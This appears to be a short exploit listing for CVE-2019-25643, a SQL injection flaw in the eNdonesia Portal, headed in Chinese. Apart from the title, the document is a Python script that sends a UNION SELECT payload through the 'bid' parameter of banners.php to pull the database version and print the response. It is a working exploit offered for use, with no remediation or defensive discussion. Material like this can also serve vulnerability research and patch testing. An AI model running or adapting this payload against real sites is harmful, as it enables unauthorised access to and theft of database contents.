CVE-2019-25643: eNdonesia Portal SQL注入漏洞

import requests # Target URL (Please replace with actual target) target_url = "http://target-endonesia.org/banners.php" # Malicious payload to extract database version # Using UNION SELECT to extract data payload = "?bid=1 UNION SELECT 1, version(), 3--" try: # Send GET request with malicious payload response = requests.get(target_url + payload) # Check if request was successful if response.status_code == 200: print("[+] Request sent successfully.") print("[+] Response content:") print(response.text[:500]) # Print first 500 chars for verification else: print("[-] Request failed with status code:", response.status_code) except Exception as e: print(f"[-] An error occurred: {e}")